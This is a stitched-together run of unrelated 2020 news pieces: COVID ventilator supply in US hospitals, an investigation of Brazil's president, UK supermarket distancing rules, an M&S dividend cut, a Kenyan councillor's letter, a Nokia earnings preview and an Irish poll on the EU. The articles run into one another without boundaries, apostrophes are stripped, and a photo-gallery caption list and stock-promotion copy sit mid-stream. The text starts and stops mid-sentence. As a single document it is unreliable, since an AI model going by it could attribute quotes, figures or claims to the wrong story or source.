ventilator The worst situation has been reported in New York, where doctors say a handful of patients had to split ventilators. Dr. Lewis Kaplan, a Philadelphia-based trauma surgeon and the president of the Society of Critical Care Medicine, said he is only personally aware of two New York patients who shared one ventilator. The need to put more than one person on a ventilator that was anticipated to be a widespread problem, that hasnt really surfaced, Kaplan said. I dont know of any place that has said, Sorry we cant take care of you. You need to go to the palliative care wing. Dr. Scott Braithwaite, a professor at NYU Langone Health, confirmed that splitting happened, but he wouldnt give specifics. I dont know to what extent that is still continuing, Braithwaite said, and he said its unlikely that doctors or hospital administrators would discuss it publicly. Splitting is a controversial and risky move that involves hooking multiple patients up to the same ventilator. Its been proven in studies on artificial lungs and animals, but is considered a last resort in humans, used only when the alternative is denying someone a ventilator. The U.S. Food and Drug Administration gave emergency approval for splitting in anticipation of a ventilator shortage because of COVID-19. Prisma Health, a subsidiary of Johnson & Johnson, distributed a Y-shaped pipe to split ventilators to 35 states, 94 cities, and 97 agencies. The company said in a statement it is not aware that the device was used to treat patients. At SUNY Downstate Health Sciences University in Brooklyn, where one of the hospitals emergency medicine doctors did the research proving splitting is possible, a spokesman said the hospital never hooked more than one patient to a single ventilator. How a mechanical ventilator works. Getting creative Instead of denying ventilators, many doctors changed the settings on anesthesia machines to pump air instead of the sleep-inducing medicine, hooked patients up to sleep apnea devices and cranked up the air pressure, and attached tight-fitting masks to oxygen tubes to keep people alive. Thats in part because the Society of Critical Care Medicine in March recommended creative use of non-traditional types of ventilators. New York, for example, ordered 3,000 BiPAP machines traditionally used for sleep apnea to convert them into ventilators. We found innovative ways to meet this need, Kaplan said. We found ways to manage things, but it begs the question, Should we not have been far better prepared than what we were? and I think the answer to that is unequivocally, Yes. Major U.S. hospitals including Johns Hopkins Medicine, Massachusetts General Hospital, and the Veterans Administration ordered helmet-style ventilators, according to Advisory Board, a health-care consulting company. The devices surround a patients head like a space helmet and provide oxygen. In the method they call prevent the vent, UChicago Medicine doctors pumped oxygen through tubes inserted in 24 patients noses and also flipped the patients on their stomachs to help them breathe. Only one patient ended up needing a ventilator, the hospital said in a statement. The procedure spared others any harmful side effects from sticking tubes down their windpipes. The method is still risky because the oxygen tube can spray the coronavirus around a room as a fine mist. UChicago Medicine said it was able to use this method because it had enough specialized rooms to contain the contamination. Dr. Lewis Nelson, the head of emergency medicine at University Hospital in Newark, New Jersey, said his hospital wasnt able to use sleep apnea machines because it didnt have enough isolation rooms. But the hospital bought more ventilators and borrowed from other places. Theres not this excessive supply of ventilators, Nelson said. We were able to get enough and share and borrow and repurpose and get from the stockpile. We clearly never ran out, which was great, because that would be quite catastrophic. More ventilators are coming Now that demand for ventilators in New York and New Jersey is on the decline, hospitals in other areas are starting to brace for a surge in the coming days. Theres anxiety, but a better feeling of preparedness. Hood, at the American Hospital Association, said the Washington, D.C., area, including Maryland and Virginia, have later peak dates. States out west are also expecting later peaks, she said. Hood said her organization is working with group purchasing organizations, the Federal Emergency Management Agency, and the U.S. Department of Health and Human Services on a new ventilator reserve that backs up the Strategic National Stockpile. The federal government sent out about 8,000 ventilators from the stockpile in March and the beginning of April. Who got help? Rare look at stockpile handouts shows which states got ventilators, masks amid coronavirus The dynamic ventilator reserve is designed to back up the stockpile. Hospitals and health systems will list their available ventilators in a database and then lend ventilators to one another across the country. Providers in an area with increasing coronavirus cases will be able to tap into the database for help. The idea is to make sure ventilators dont sit idle in one place while hospitals in other areas are stretched beyond their ventilator capacity. In total, the inventory has about 5,000 ventilators, Hood said. We feel much more confident today than we were two or three weeks ago, Hood said. We have been adding to the national emergency stockpile as theres been purchases made from existing stock both in the U.S. and North America and across the globe. Meanwhile, the U.S. Department of Health and Human Services has ordered more than 187,000 ventilators at a cost of about $2.9 billion. The department expects to receive 41,000 by the end of May. The first batch is due May 4. By that day, all but four states Iowa, Nebraska, North Dakota, and South Dakota will have seen their peak days for ventilator use come and go, according projections as of Monday from a model from the Institute for Health Metrics and Evaluation at the University of Washington. The model projects that the country will need only 7,228 ventilators on May 4. Still, Nelson, from Rutgers, said 187,000 is the right amount for the whole country because you cant have too many ventilators. We have no idea what were going to need, and if its easy enough to make them, and it is, I think its a good thing, he said. Braithwaite, at NYU, said there will still be ventilator demand because the peak doesnt fall quickly. Its not a sharp peak, Braithwaite said. Its more like a gentle hump. So were starting to descend on a gentle hump. Doctors and public health officials all over the country also are warning about case increases that could come if Americans stop practicing social distancing measures such as working from home and avoiding crowds. Now is not the time to relent, said Kaplan, from the Society of Critical Care Medicine. You are now starting to see the fruits of your labors but its taken this long to see it. How many hundreds of thousands of people are positive that we know of? Kaplan asked. How many dont we know of? So, yes, I have concerns. And in this I am not alone. This article originally appeared on USA TODAY: Coronavirus: Hospitals avoid ventilator shortage as the curve flattens Judge authorises probe into allegations made by ex-justice minister that the president tried to interfere with policing. Brazils Supreme Court has ordered an investigation into accusations that President Jair Bolsonaro sought to interfere with police investigations for political gain. In his decision on Monday, Justice Celso de Mello gave the federal police 60 days to question former Justice and Public Security Minister Sergio Moro, whose resignation last week pitched the administration into turmoil, about his explosive allegations. The findings, which will be handed over to the attorney general, could result in either a request for a political trial against Bolsonaro or an indictment against Moro for false testimony. According to the judge, the crimes allegedly practised by the president of the republic seem to have an intimate connection with the exercise of the presidential mandate, which allows for an investigation of Bolsonaro. Moro, a former anti-corruption judge, resigned on Friday after clashing with Bolsonaro over the sacking of the federal police chief. During Moros announcement of his resignation on April 24, he said Bolsonaro had told him on multiple occasions that he wanted to replace the head of the federal police with someone who could facilitate access to investigations and intelligence reports. He hit out at political interference with the federal police, saying he could not do his job without autonomy for the force. The Supreme Court judges document, obtained by AFP news agency and reported by local media, lists seven accusations against Bolsonaro, including malfeasance and obstruction of justice. Divided opinion Last week, Brazils Prosecutor General Augusto Aras asked the Supreme Court to open an investigation into the allegations made by Moro, who made a name for himself as the top judge in the anti-corruption investigation known as Car Wash. Moro quit after Bolsonaro removed the federal polices director general. Bolsonaro claimed the former official had resigned of his own accord, which Moro said was untrue and also that he had not signed off on any resignation. Should the investigation confirm the accusations, it will be up to the Brazilian Congress to initiate an impeachment process against Bolsonaro and potentially remove him from office. A poll published on Monday night shows divided opinions about Bolsonaros future, with 45 percent of Brazilians saying Congress should open an impeachment process against the right-wing leader. In comparison, 48 percent think Bolsonaro should not be impeached, according to the Datafolha poll. The tensions come at the height of the global health crisis over the coronavirus. Last week, Bolsonaro fired his Health Minister Luiz Henrique Mandetta, who supported isolation as a tool to contain the spread of the pandemic. Bolsonaro has repeatedly downplayed the danger of COVID-19. As of Tuesday, Brazil reported more than 67,000 confirmed coronavirus cases with at least 4,600 deaths. Supermarkets are some of the few places that have remained open during the coronavirus outbreak and lockdown. Delivery slots are mostly in short supply, even though some of the shops have increased their slots by thousands. We are updating all the information on delivery slots in our guide here, but if youre unable to shop online, or helping a vulnerable or elderly person, a trip to the shops is most likely still required. You can find the supermarket opening times, including for key workers, here. Each supermarket chain has introduced its own social distancing measures to keep customers two metres apart, sanitisation stations for trolleys and baskets and even "no-touch" policies to encourage shoppers to only touch what they intend to buy. Recommended Everything you need to know about supermarket delivery slots But as the coronavirus situation develops, these rules continue to change, we have the most up to date rules to be aware of next time you make an essential trip to the shops. Alongside this, new guidance from the government briefing on 11 May said people in England should wear face coverings, in "enclosed public spaces", such as in shops and on public transport. Here's our guide to the independent brands you can buy them from for your next trip to the supermarket. You can trust our independent round-ups. We may earn commission from some of the retailers, but we never allow this to influence selections. This revenue helps us to fund journalism across The Independent. It has recently launched a traffic light system at its entrances, which will signal when customers can enter a store while ensuring there is a two-metre distance maintained at all times. The store will limit entry during busy times to ensure a two-metre distance between customers, as well as having distance markers on the floors of all its stores, along with implementing a one-way system to shop in-store. On its website, it has shown the busiest to quietest times to visit its stores. The quietest time is between 7pm-10pm. It is asking customers to only touch the trolleys you intend to use and is providing sanitation stations at the front of its stores to help customers disinfect their hands, trolleys and baskets. It has also installed perspex protective screens around more than 7,000 of its tills and is encouraging customers to use contactless or card payments where possible. It is making face masks available to all its staff, who can also access the Governments Covid-19 testing programme for critical workers. Shop at Aldi now Asda has introduced a no-touch policy, asking shoppers to pick up only what you intend to buy and has installed signs, directional barriers and floor markers to help you do your shopping while maintaining two-metres apart from other customers and staff. It has also introduced a one-way system for shoppers to navigate through the store. It is suggesting to pay with card or contactless payments to avoid the handling of cash and has increased the contactless card payment limit from 30 to 45. Recommended These are the supermarket opening times To ensure social distancing rules can be observed, Asda will be limiting the number of customers in-store as well as allowing only one trolley per person. Perspex screens are being introduced at checkouts and kiosks too to protect its staff. It is also offering face masks to any staff who want one. Shop at Asda now The supermarket has social-distancing floor tape to encourage customers to maintain space between other shoppers and staff, as well as limiting the number of people in its stores to ensure this can be followed. Like most supermarkets, its also strongly advising customers to pay using contactless payments, increasing the limit to 45, and has reduced the number of tills open to provide distance between customers. It has provided hand sanitiser and gloves to staff, installed perspex safety screens at till points and serving counters and invested 3m in protective equipment, too. Shop at Co-op now Iceland is closing every other checkout to ensure a two-metre distance is observed and limiting the number of people allowed in-store. Its also used floor markers to keep a two-metre distance at all times in queues, along with in-store radio announcements and posters. Additionally, it has fitted more than 5,000 perspex shield screens at all of its checkouts and increased limits for contactless payments to 45. Shop at Iceland now To manage social distancing in its stores, Lidl is limiting the number of customers in-store and has messages posted around its stores to remind customers to keep two metres apart at all times. On its website, it has created a traffic light system to inform customers of its busiest periods, which are between the hours of 8am-11am. The quietest times to visit stores are from 2pm until close. It has also introduced cough and sneeze-proof screens at its checkouts and extra security to ensure customers maintain social distancing measures and increased its contactless payment limits to 45. Its staff will be wearing protective visors too and goods from the bakery will now be pre-bagged. Shop at Lidl now Silence for key workers who lost lives to coronavirus Show all 30 1 /30 Silence for key workers who lost lives to coronavirus Silence for key workers who lost lives to coronavirus Staff react outside Salford Royal Hospital in Manchester during a minute's silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA Silence for key workers who lost lives to coronavirus Staff inside Camberwell bus depot in London, during a minute's silence PA Silence for key workers who lost lives to coronavirus NHS staff at the Mater hospital in Belfast, during a minute's silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak. PA Silence for key workers who lost lives to coronavirus Shoppers observe a minute's silence in Tescos in Shoreham Getty Silence for key workers who lost lives to coronavirus Firefighters outside Godstone fire station PA Silence for key workers who lost lives to coronavirus Salford Royal Hospital Getty Silence for key workers who lost lives to coronavirus Salford Royal Hospital PA Silence for key workers who lost lives to coronavirus Hospital workers take part in a protest calling on the British government to provide PPE across Britain for all workers in care, the NHS and other vital public services after a nationwide minute's silence at University College Hospital in London AP Silence for key workers who lost lives to coronavirus A school children's poster hanging outside Glenfield Hospital during a minute's silence Getty Silence for key workers who lost lives to coronavirus A man holds a placard that reads "People's health before profit" outside St Thomas hospital Getty Silence for key workers who lost lives to coronavirus Staff members applaud outside the Royal Derby Hospital, following a minute's silence PA Silence for key workers who lost lives to coronavirus Cabinet Secretary Mark Sedwill, Prime minister Boris Johnson and Chancellor of the Exchequer Rishi Sunak, stand inside 10 Downing Street, London, to observe a minutes silence in tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA Silence for key workers who lost lives to coronavirus University College Hospital, London Hospital workers hold placards with the names of their colleagues who have died from coronavirus as they take part in a protest calling on the British government to provide PPE AP Silence for key workers who lost lives to coronavirus Staff at Waterloo Station in London, stand to observe a minute's silence, to pay tribute to NHS and key workers who have died with coronavirus AP Silence for key workers who lost lives to coronavirus Medical staff at the Louisa Jordan hospital stand during a UK wide minutes silence to commemorate the key workers who have died with coronavirus in Glasgow Getty Silence for key workers who lost lives to coronavirus London An NHS worker observes a minute's silence at Chelsea and Westminster Hospital Reuters Silence for key workers who lost lives to coronavirus Chelsea and Westminster Hospital in London AFP via Getty Silence for key workers who lost lives to coronavirus Belfast, Northern Ireland NHS staff observe a minutes silence at Mater Infirmorum Hospital Reuters Silence for key workers who lost lives to coronavirus Plymouth NHS workers hold a minute's silence outside the main entrance of Derriford Hospital Getty Silence for key workers who lost lives to coronavirus NHS Frimley Park Hospital staff at the A&E department observe a minute's silence Getty Silence for key workers who lost lives to coronavirus Mater Infirmorum Hospital People applaud after a minutes silence in honour of key workers Reuters Silence for key workers who lost lives to coronavirus Waterloo Station, London AP Silence for key workers who lost lives to coronavirus Wreaths laid outside Sheffield town hall PA Silence for key workers who lost lives to coronavirus A group of trade unionists and supporters standing outside Sheffield town hall PA Silence for key workers who lost lives to coronavirus First Minister Nicola Sturgeon stands outside St Andrew's House in Edinburgh to observe a minute's silence in tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA Silence for key workers who lost lives to coronavirus Staff stand outside the Royal Derby Hospital, during a minutes silence PA Silence for key workers who lost lives to coronavirus London Police officers observe a minutes silence at Guy's Hospital Reuters Silence for key workers who lost lives to coronavirus A woman standing outside Sheffield town hall PA Silence for key workers who lost lives to coronavirus Royal Derby Hospital PA Silence for key workers who lost lives to coronavirus Leicester, NHS workers during a minute's silence outside Glenfield Hospital Getty While Marks & Spencer has closed its outlet stores, its simply food stores and food halls inside its larger stores remain open, with social distancing measures put in place. It has increased its contactless card payment limit to 45 and is encouraging customers to use cards instead of cash where possible. Shop at Marks & Spencer now Any shopping in-store will be limited to one trolley per customer and there are floor markers in place to ensure social distancing rules are followed. It has, however, introduced a "Speedy Shopping" lane outside its stores, letting three people in using baskets for every person using a trolley. Like other supermarket chains, it has also increased its contactless card payment limit to 45 and is encouraging shoppers to use contactless payments whenever you can to reduce the need for physical contact between customers and key workers. Shop at Morrisons now Sainsburys has implemented a queueing system outside its store to limit the number of customers and have provided floor and screen markings on manned checkouts. It is asking shoppers to only send one adult per household to stores and has installed perspex safety screens on checkouts. The supermarket is also encouraging customers to pay by card and only use cash at self-service tills. Staff will also be wearing masks when working in-store. You can also use its in-store app on a mobile which allows you to scan items and limit interaction and queues at the tills. Shop at Sainsburys now To control the number of people in-store, Tesco may help you to park your car, or stay in your car to queue if its raining or cold. There are floor markings in the car park and directional floor markings in-store too to help shoppers maintain a safe distance from each other, and a one-way system has been put in place in all stores. It also has hand sanitisers for customers and colleagues to use, as well as extra cleaning products on hand to wipe down your trolley or basket. Staff will also be wearing masks when working in-store. It is also asking shoppers to shop on your own when possible to reduce the number of people in-store. Shop at Tesco now In Waitrose stores there will be dedicated marshals to manage queues, maintain a two-metre distance between customers and limit the number of people in-store. It is asking customers to help with this by sending only one member of a household to do the shopping where possible. There will also be floor signage in all of its shops to ensure customers stay two metres apart. It has placed screens at checkouts to protect customers and colleagues, with fewer checkouts open too and contactless payments being encouraged. Shop at Waitrose now Read our guides on supermarket opening times and supermarket delivery times IndyBest product reviews are unbiased, independent advice you can trust. On some occasions, we earn revenue if you click the links and buy the products, but we never allow this to bias our coverage. The reviews are compiled through a mix of expert opinion and real-world testing. Tourism minister Iago Negueruela and the director-general for tourism Rosana Morillo held a videoconference meeting with two senior Tui directors on Tuesday afternoon. At this meeting with Sebastian Ebel, the CEO of Tui's hotel, cruise and destination division, and a member of Tui's executive committee, Thomas Ellerbeck, there was agreement that the Balearics will be the first tourist destination in Spain where Tui will resume its operations. These will be under strict health and safety standards and subject to decisions regarding de-escalation. A schedule is to be drawn up between the government and Tui that will allow tourism from Germany to restart. The tour operator and the government have apparently been discussing the safety protocols that will be needed for some weeks. Negueruela stressed that the government is working to ensure that the Balearic Islands continue to be a reference for and example of a "safe destination" in Spain and Europe. A woman enters a Marks and Spencer store where the food hall remains open in Shrewsbury as the UK continues in lockdown to help curb the spread of the coronavirus. (Nick Potts/PA Images via Getty Images) Marks & Spencer (MKS.L) has said it will not pay a dividend this year as it seeks to conserve cash in the business to weather the COVID-19 pandemic. In an unexpected update on Tuesday, the retailer set out a range of measures it has taken to maximise liquidity during the crisis. M&S said it has negotiated a relaxation of conditions on its 1.1bn ($1.3bn) credit facility with banks and been certified to issue credit notes under the governments Covid Corporate Financing Facility (CCFF) support programme. The axing of the annual dividend will save around 210m. These measures will give the company enough runway for at least 18 months, M&S said. Clive Black and Darren Shirley, retail analysts at stockbroker Shore Capital, said the update was good news in the context of particularly difficult times. M&S said it would provide a further update on the very significant measures being taken to reduce costs and protect cash flow during the crisis period at its full-year results on 20 May. The cost saving push came as M&S warned of a sharp downturn in trading caused by the nationwide lockdown. Clothing and homeware sales have been severely constrained and M&S said they were likely to be highly uncertain even once lockdown restrictions begin to be eased. Crucially the groups planning for trading to be disrupted for a while, said Sophie Lund-Yates, an equity analyst at stockbroker Hargreaves Lansdown. Thats a welcome dose of foresight, it would be a mistake to think the high streets going to see a sea of shoppers the second lockdown restrictions are lifted. Food sales have also been adversely affected by the coronavirus lockdown, due to the closure of M&S cafes and a slump in on-the-go food sales like sandwiches. M&S food offering is very different to the bigger supermarkets, which means it relies more heavily on travel and city centre footfall, Lund-Yates said. With so few of us now nipping into the sandwich aisle in motorway service stations, or on our lunch breaks from the office, its not a huge surprise sales have dipped. Shares in Marks & Spencer were down 0.25%. Forty frontline sanitation workers were honoured in Himachal Pradesh's capital Shimla on Tuesday for their excellent work during the coronavirus outbreak. State Urban Development minister Sarveen Choudhary gave citations, gloves, masks, sanitisers, soaps, reflective jackets, ration kits and face shields to them. Benmore councillor Kimi Sood said,"Appreciation certificates have been given to workers of wards number 16 and 17. All this has motivated the frontline workers who are working selflessly for us. Salute to them." Shimla mayor Satya Koundal, MC commissioner Pankaj Rai, Jakhoo councillor Archana Dhawan, Joint Commissioner Ajit and health officer Dr Surekha were also present on the occasion. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Mount Kenya MCA caucus chairman Charles Mwangi Nganga of Ichagaki ward in Murang'a has written to the ministry of interior requesting the government to make it mandatory for chiefs and their assistants to be transferred just like other civil servants. The MCA who recently donated his full April salary to National Emergency Response Committee in Fight Against COVID-19 said some administrators have been a hindrance to the fight against illicit brews since they receive kickbacks to turn a blind eye to their criminal activities. READ ALSO: Wagonjwa wa coronavirus nchini Tanzania wafikia 306 MCA writes to Matiang'i requesting for transfer of chiefs across the country to curb crimes Source: UGC READ ALSO: Coronavirus update: 2 children among 11 new cases, country's tally now 374 Speaking to TUKO.co.ke, the MCA said overstaying of administrators in their areas of work had become a hindrance to the fight against crimes and it was high time they were subjected to transfers just like other civil servants. "Most of the Chang'aa brewers give protection fees to administrators which enables them to continue with their illegal activities unperturbed," he said, adding that it should be mandatory for chiefs to be transferred. His comment came barely days photos of drunken youths in his area did rounds on social media. Interior CS Fred Matiang'i flanked with PS Karanja Kibicho in a past press briefing. Photo: Interior Ministry. Source: UGC Mwangi argued that constant transfer of chiefs and their assistants would enhance high productivity and fairness in administration of justice. In a letter addressed to Interior CS Fred Matiang'i and copied to Principal secretary Kibicho Karanja, the MCA claimed some administrators were aiding drug peddlers in evading arrest. "Overstaying in one location makes them get used to suspects and even their informers take advantage of collective protective fee from chang'aa business," read his letter in part. The MCA also claimed some of the administrators had schooled with criminals and changaa brewers make it difficult to arrest them. "Some Assistant County Commissioners are even able to use their connections to cancel their transfers and become like 'small gods' after staying in their areas for too long," he added. He, however, noted some administrators were unable to deliver due to frustrations by their seniors who get compromised by criminals. Mwangi regretted that selling of alcohol was still going on despite the government directive banning the crowding in a move to promote social distance. "Changaa is proscribed under the Changaa Prohibition Act (Cap 70, Laws of Kenya). This Act, which was passed in 1980 after the direct intervention of the then President Daniel Arap Moi, himself a strict teetotaller, forbids the manufacture, sale, supply, consumption or possession of changaa, " he argues. A few years ago, President Uhuru signed into law a bill legalising the traditional home-brewed spirit changaa. This gave ill-intended people to take advantage of the bill and works with the local administration to make a kill in the business. Leaders, especially in Mount Kenya, have resisted the bill, some saying changaa should remain illegal as its promoting crime, pointing fingers to administration. Do you have a groundbreaking story you would like us to publish? Please reach us through news@tuko.co.ke or WhatsApp: 0732482690. Contact Tuko.co.ke instantly. Kenyans come through for elderly couple kicked out by landlady over rent arrears | Tuko TV. Source: TUKO.co.ke Nokia Corporation NOK is scheduled to report first-quarter 2020 results on Apr 30, before the opening bell. In the last reported quarter, the company delivered a positive earnings surprise of 30.8%. The Finland-based telecom gear makers aggregate revenues are likely to have risen on a year-over-year basis despite the COVID-19 pandemic. This is likely to have been driven by overall industry demand including growth within enterprise vertical. Lets discuss the factors that are likely to get reflected in the upcoming quarterly announcement. Key Developments At the beginning of the first quarter, Nokia had 63 commercial 5G contracts worldwide. Pakistan Telecommunication Company Limited deployed Nokias technology to expand the capacity of a 100G transport network to 200G optical network for domestic and international traffic. The company was selected by Orange France, one of the largest mobile operators in Europe, to evolve its mobile access network toward 5G. The company launched the Network Operations Master to provide communication service providers (CSPs) with highly-automated and scalable software for managing their 5G networks. Nokia was selected by Orange Slovensko, the leading operator in Slovakia, to prepare its Radio Access Network for 5G. Nokia provided end-to-end 5G portfolio to SoftBank Corp. to become first in the world to have completed tests to demonstrate that non-standalone 5G technology can be used to commercially operate connected cars. These factors are likely to have had a positive impact on the companys first-quarter performance. Nokia inked a contract with Telecom Argentina allowing it to offer IoT services to its enterprise customers in the country and across Latin America using Nokia Worldwide IoT Network Grid (WING). It extended its long-standing partnership with mobile operator, IIiad Group, to roll out 5G networks across France and Italy. Nokia and KDDI Corporation, a leading telecom company in Japan, completed a 5G core standalone network trial, moving the operator closer to being able to provide 5G-enabled services. Nokia introduced cloud-native Assurance and Experience software to help CSPs move toward experience-driven and automated 5G network operations. Nokia and Japans mobile network operator Rakuten Mobile collaborated to enable the operators implementation of a fully-automated operations environment for the 5G era. Nokia and Lufthansa Technik, the leading provider of technical aircraft services, deployed a 5G industrial-grade private wireless network to accelerate a project that enables remote engine parts inspection for its civil aviation customers. Nokia expanded its fiber access portfolio to include new solutions and innovations that enable service providers to deliver a gigabit experience to everyone. The companys first-quarter performance is expected to have benefited from these developments. Nokia, along with leading operators Telenor and Telia, deployed the worlds most advanced shared wireless network that supports a Multi-Operator Core Network feature. The network is designed for wireless technologies spanning from 2G to 5G. Nokia collaborated with Intel on technological advancements for its 5G radio portfolio. The company was selected as a 5G RAN vendor by Chunghwa Telecom, a leading mobile operator in Taiwan. What do Estimates Indicate? For the March quarter, the Zacks Consensus Estimate for total revenues is pegged at $5,776 million that indicates a rise of 1.1% from the year-ago quarters reported figure. Adjusted earnings per share are pegged at 1 cent, which calls for an improvement from a loss of 2 cents recorded in the prior-year quarter. What Our Model Says Our proven model doesnt predict an earnings beat for Nokia this time around. The combination of a positive Earnings ESP and a Zacks Rank #1 (Strong Buy), 2 (Buy) or 3 (Hold) increases the odds of an earnings beat. But thats not the case here. You can uncover the best stocks to buy or sell before theyre reported with our Earnings ESP Filter. Earnings ESP: Nokias Earnings ESP, which represents the difference between the Most Accurate Estimate and the Zacks Consensus Estimate, is -100.00%. Nokia Corporation Price and EPS Surprise Story continues Nokia Corporation Price and EPS Surprise Nokia Corporation price-eps-surprise | Nokia Corporation Quote Zacks Rank: Nokia currently has a Zacks Rank #3. Stocks to Consider Here are some companies that you may want to consider as our model shows that these have the right combination of elements to post an earnings beat this quarter: Church & Dwight Co., Inc. CHD is slated to release first-quarter 2020 results on Apr 30. It has an Earnings ESP of +3.56% and a Zacks Rank #2. You can see the complete list of todays Zacks #1 Rank stocks here. Southwestern Energy Company SWN is scheduled to release first-quarter 2020 results on Apr 30. The company has an Earnings ESP of +3.90% and carries a Zacks Rank #2. VICI Properties Inc. VICI has an Earnings ESP of +1.60% and carries a Zacks Rank of 2. The company is set to report first-quarter 2020 results on Apr 30. Just Released: Zacks 7 Best Stocks for Today Experts extracted 7 stocks from the list of 220 Zacks Rank #1 Strong Buys that has beaten the market more than 2X over with a stunning average gain of +24.1% per year. These 7 were selected because of their superior potential for immediate breakout. See these time-sensitive tickers now >> Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report Nokia Corporation (NOK) : Free Stock Analysis Report Southwestern Energy Company (SWN) : Free Stock Analysis Report Church & Dwight Co., Inc. (CHD) : Free Stock Analysis Report VICI Properties Inc. (VICI) : Free Stock Analysis Report To read this article on Zacks.com click here. Zacks Investment Research CVS, Walgreens Among Companies Boosting Free CCP Virus Testing CVS and Walgreens are ramping up free testing for the CCP virus outside of stores across the United States, as are some other companies. CVS will, starting next month, offer self-swab tests to people who meet criteria laid out by the Centers for Disease Control and Prevention. The new, free testing will take place at up to 1,000 locations by the end of May, according to the company. CVS has been testing about 1,000 people a day across Rhode Island, Massachusetts, Connecticut, Georgia, and Michigan. People who meet the criteria will make appointments online and visit a CVS location at a designated time, where the testing will take place in a parking lot or in a drive-through lane. CVS hopes to test about 35,000 people a week, Larry Merlo, CVS CEO, told reporters at the White House on Monday. CVS CEO Larry Merlo listens during a meeting with President Donald Trump about CCP virus testing, in the Cabinet Room of the White House in Washington on April 27, 2020. (Evan Vucci/AP Photo) Walgreens, meanwhile, has been testing at drive-throughs in 11 states, including Texas, Arizona, and Florida. The company earlier Monday said it plans to expand to 49 states and Puerto Rico and expects to test more than 50,000 people each week. Richard Ashworth, who oversees Walgreens in the United States, said the company will be able to triple the volume done now in the coming weeks. Were really excited with the public-private partnership that we have here, because thats whats enabling us to do this, and we look forward to working with the additional states to get these sites up and running as fast as possible, he said at the press conference. Walmart, which started free drive-through testing in some locations in March, said it will expand from 20 sites across 11 states to more than 100 locations by the next of next month. The company has tested nearly 13,000 people so far and plans on doing 20,000 tests a week. Imagine going online, scheduling a test through our lab partners, pulling up to your local Walmart at your scheduled time, parking in your assigned spot, and having our pharmacist greet you. You take a nasal or saliva test while you remain in the car, and the test is sent to the lab for processing, Dan Bartlett, Walmart Executive Vice President of Corporate Affairs, wrote in a blog post. For serology tests, perhaps you could even have your finger stuck by a pharmacist, similar to a test for blood glucose and cholesterol levels, to understand whether you have antibodies to the virus. We are working now on how we might make this a reality. Phlebotomists draw blood from people getting tested for CCP virus antibodies at the Refuah Health Center in Spring Valley, New York, on April 24, 2020. (Yana Paskova/Getty Images) Kroger, which has been testing in six states, plans on expanding in the next couple of weeks to 12 states as it increases testing capacity. Kroger has performed nearly 8,000 tests in 30 locations in Colorado, Indiana, Kentucky, Ohio, Michigan, and Tennessee. Rite Aid is operating 25 testing locations across eight states and plans to increase the number of tests done in the coming weeks by expanding testing criteria to anyone 18 or older exhibiting any of the following symptoms: fever, cough, shortness of breath, chills, repeated shaking with chills, muscle pain, headache, sore throat, new loss of taste or smell. The company is conducting about 400 tests a day. More than 200,000 tests were done nationwide on April 25, according to President Donald Trump. Thats a doubling from earlier in the month. The administration plans on doubling the number again soon. According to Vice President Mike Pence, 5.4 million tests have been done to date, and he hopes to be doing up to 2 million a week by the end of May. We are continuing to rapidly expand our capacity and confident that we have enough testing to begin reopening. And the reopening processwe want to get our country open. And the testing is not going to be a problem at all. In fact, its going to be one of the great assets that we have, Trump said. US health experts who worked in the Trump, Obama, and Bush administrations have called on Congress to introduce new measures worth billions of dollars they say would ease the coronavirus crisis including daily stipends of $50 (40) for people to isolate at home. In a letter addressed to Congress on Monday, the bipartisan group of experts outlined a four-point plan worth $46.5bn (37.2bn) that could re-open the US economy after prolonged closure caused by the pandemic. The plan centred on testing, tracing and isolating Covid-19 cases proposed paying Americans $50 (40) each day to ensure they self-isolate. Andy Slavitt, the former Obama administration director of Medicare and Medicaid and Scott Gottlieb, the ex-Food and Drug Administration head under Donald Trump, said in the letter that Congress needed to ensure that states had funding to track and trace those people who were infected and exposed, while providing spaces for people to self-isolate. The existing public health system is currently capable of providing only a fraction of the contact tracing and voluntary self-isolation capacity required to meet the COVID-19 challenge, the pair said, along with other prominent health experts, in their letter. The group compared the proposed coronavirus isolation payments to the daily sum given to those serving on federal juries in the US, which is also $50 (40). The letter argues that the daily stipend would greatly increase the success of containment efforts and the ability to maintain an expanded measure of openness in the economy. Mr Slavit, Mr Gottleib and the others estimate that 40 per cent of Americans would need income support to self-isolate which would cost $30bn (24bn) during an 18 month period. The plans also detailed $16.5bn (13.2bn) to be spent on the expansion of the contact tracing workforce and turning empty hotel rooms into spaces for people to self-isolate in. Combined, the measures would allow Americans to get back to work safely and quickly, create employment, stabilise our healthcare system, and stimulate the hospitality sector, said the experts. Sixteen top health experts signed the letter sent to House and Senate leaders, and originally published by NPR. It comes amid Mr Trump's push for the re-opening of the economy. However, the president has warned against the kind of full easing of lockdown conditions proposed by Georgia governor Brian Kemp last week. Irish people are evenly split on how the EU has responded to the coronavirus crisis: 47pc believe they did well, but 46pc believe the opposite. That's the stand-out finding from the European Movement annual survey of Irish views on EU issues which will be unveiled today. The Red C opinion poll shows a continued trend that eight out of 10 Irish people believe Ireland should remain an EU member. But this faith in the benefits of the European project is definitely subject to some terms and conditions which throw up some contrasts. There is majority support for more involvement in EU defence but majority opposition to giving up the national veto on taxation policy. There is no big surprise about a majority against paying more to the EU budget. But it is interesting to note that more than one in three Irish people do back the idea of Ireland, and other governments, chipping in more to the Brussels coffers even as this country's net contribution grows. Irish people's view of EU membership has been pretty positive for quite some time. There were signals of a more negative view in the first decade of this century when the EU Nice Treaty referendum was rejected by voters in 2001 and the Lisbon Treaty went down in 2008. Successful campaigners against these EU moves to expand its powers and functions were understandably enraged when both referendums were re-run, and the result reversed, in each case within 15 months. To this day there are justifiable popular referendum jokes about "keeping them voting until they give the right result". But these series of surveys, and other tangible evidence, strongly suggest there is a broad popular endorsement of the European Union despite its various flaws. As often happens, however, the details of survey findings can intrigue and at times appear contradictory. These details remind us that European Union membership is a process which is only as good as the benefits which citizens perceive as being delivered. The polarisation of opinion on the coronavirus crisis is a case in point. Many Irish people are aware of the widespread coverage given the deep "north-south/rich-poor" member state division over proposals for the longer-term shouldering of the massive economic recovery debts by the EU. Against that, there appears to be some realisation among Irish people of EU efforts to admit they needed to move more swiftly and are playing catch-up. There are grounds for arguing that the survey finding here suggests Irish people believe the EU must try harder. Some progress on charting a post-coronavirus recovery was made by EU leaders last 